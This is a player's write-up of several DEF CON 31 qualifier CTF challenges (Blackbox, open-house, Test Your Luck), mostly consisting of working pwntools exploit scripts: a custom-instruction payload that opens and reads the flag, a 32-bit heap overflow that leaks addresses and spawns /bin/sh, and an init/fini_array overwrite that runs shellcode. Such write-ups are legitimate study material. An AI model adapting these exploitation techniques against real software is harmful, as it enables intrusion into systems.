Prologue

The teamwork carried me!

I participated DEF CON 31 qualification round last weekend as a member of P1G BuT S4D and we got 9th in this round.

I write this article to document several challenges I worked on.

You can also find the official challenge source code/ solution here: https://github.com/nautilus-institute/quals-2023

Blackbox

Analysis: We need to reverse the challenge by interacting with it.

The structure of the payload is


- The first 2 bytes represent the size of the instructions
- Each instruction's length is 2

Solution:
- Find the institutions to 
  - set the registers
  - syscall open
  - syscall read

We spent about 6 hours on open cuz it always gives the error message "failed to open xxx". Even we pass "." as the parameter.

But in the end, my teammates reminded me that it could be fopen. This message helped us solve it in the last 10 mins.

Exploit:

```python
from pwn import *
context.log_level='debug'
p = remote("blackbox-bamkcvy55ihl4.shellweplayaga.me",33773)
p.sendlineafter("Ticket please: ","ticket...")
def pack(c):
    return p16(len(c)//2)+c
def one(c,cc=0):
    p.send(pack(c))
    if cc==0:
        p.sendlineafter(")\n","y")
def XxX(filename):
    res=b''
    targets = [ord(x) for x in filename]
    cur = 0
    for target in targets:
        res+=p16(0x0080+target)+p16(0xd000)+p16(0x1080+target)
    return res+p16(0xd000)
one(XxX("flag\0r\0AAAAAA")+p16(0x0280+2)+p16(0x0380+2)+p16(0x0080+4)+p16(0xf000)+p16(0x0081)+p16(0x0280+0)+p16(0x0380+0x7f)+p16(0xf000)+p16(0x1080+1)+p16(0x1180+111)+p16(0xf000))
p.interactive()

open-house

It’s a simple x32 heap overflow. I solved it locally but for the remote one, we need to leak the libc. My teammates finally used dynelf to leak. I attached my local solution for the challenge.

from pwn import *
# 
context.arch='i386'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
# p=process('./open-house')
# context.log_level='debug'

ru      = lambda a:     p.readuntil(a)
r       = lambda n:     p.read(n)
sla     = lambda a,b:   p.sendlineafter(a,b)
sa      = lambda a,b:   p.sendafter(a,b)
sl      = lambda a:     p.sendline(a)
s       = lambda a:     p.send(a)
p= remote("open-house-6dvpeatmylgze.shellweplayaga.me",10001)
sla(": ","ticket{StreetDeed544n23:gaVixliBvaQ2kmfgEJGTGexWuFwQx4S2R3stRpvhf9WN-T5d}")

def menu(c):
    ru('> ')
    sl(c)
def add(c):
    menu('c')
    ru('review!')
    sl(c)
def dele(idx):
    menu('d')
    ru('delete?')
    sl(str(idx))
def edit(idx,c):
    menu('m')
    ru('replace?')
    sl(str(idx))
    ru('with?')
    sl(c)
def show():
    menu('v')
from z3 import *
def XxX(leaked):
    leaked = BitVecVal(leaked, 32)
    res  = BitVec('res', 32)
    s = Solver()
    s.add((res>>12)^res==leaked)
    s.add(res>>24<=0x57)
    s.add(res>>24>=0x55)
    if str(s.check()) == 'sat':
        m = s.model()
        return  m.evaluate(res).as_long()
    else:
        print(s.check())
        exit(1)
payload = b'a'*0x1fe
for x in range(13):
    add("a"*0x1f9)


for x in range(10):
    dele(1)
for x in range(8):
    add("")

show()


for _ in range(19):
    ru(b"****")
ru("\n")
heap = u32(p.read(3).rjust(4,b'\0'))
heap = XxX(heap)&0xfffff000
warning(hex(heap))
ru(b"****")
ru(b"****")

ru("\n")
p.read(3)
base = u32(p.read(4))-(0xf7f1ea38-0xf7cf8000)
warning(hex(base))


for x in range(24):
    dele(1)
add(b"\1"*0x220)
add(b"\2"*0x220)
add(b"\3"*0x220)

show()

edit(2,b"\1"*0x200+flat([0x573d04b4-0x573cd000+heap,0]))
show()
for _ in range(3):
    ru(b"**** - ")
pie= u32(p.read(4))-0x3164
warning(hex(pie))
# gdb.attach(p)
context.log_level='debug'

edit(1,b'/bin/sh\0'.ljust(0x200,b'\0')+flat([0x3124+pie-8,pie+0x4000-0x300]))

edit(2,b'/bin/sh\0'+flat([0x47cb0+base,0x70ca0+base]))

dele(1)

p.interactive()

Test Your Luck

This challenge is interesting. I like Test Your Luck most!!! We

  1. Modify the seed on bss to make sure we can guess the number
  2. Modify init_array to mprotect bss to make it executable + Modify fini_array to reuse the vulnerability
  3. Return to BSS
from pwn import *
context.log_level='debug'
context.arch='amd64'

HOST = os.environ.get('HOST', 'localhost')
PORT = 31337
p=  remote(HOST, int(PORT))
ru         = lambda a:     p.readuntil(a)
r         = lambda n:        p.read(n)
sla     = lambda a,b:     p.sendlineafter(a,b)
sa         = lambda a,b:     p.sendafter(a,b)
sl        = lambda a:     p.sendline(a)
s         = lambda a:     p.send(a)


base = u64(p.read(8))
warning(hex(base))
xxx = 0x3000-0x400
sh=asm(shellcraft.execve("./submitter",0,0))
sh+=b"\x90"*((-len(sh))%8)
pay = b''
for _ in range(int(len(sh)//8)):
    pay+= p64(base+xxx+_*8)+sh[_*8:_*8+8]

p.send(p64(base+0x45B4)+p64(0)+\
       p64(base+0x4338)+p64(0x1200+base)+\
       p64(base+0x4330)+p64(0x1370+base)+\
       p64(0))
p.send(p32(0))
p.read(8)
p.send(pay+p64(base+0x45B4)+p64(0)+\
       p64(base+0x4330)+p64(xxx+base)+\
       p64(base+0x4330-8)+p64(xxx+base)+\
       p64(0))
flag = p.recvline_contains(b'LiveCTF{').decode().strip()
log.info('Flag: %s', flag)

p.interactive()

Other Challenges

I also contributed to other challenges. Although I didn’t achieve the final exploit script. I’ll reproduce some of them and attach them below.

Epilogue

This year’s qual is much more enjoyable for me. I am not saying it’s easy but it’s definitely educational cuz I know something I can’t learn on tuff heap stuff and crazy ROP. Thank NI so much for writing these interesting elegant challenges and I am looking forward to meeting everyone in Las Vegas!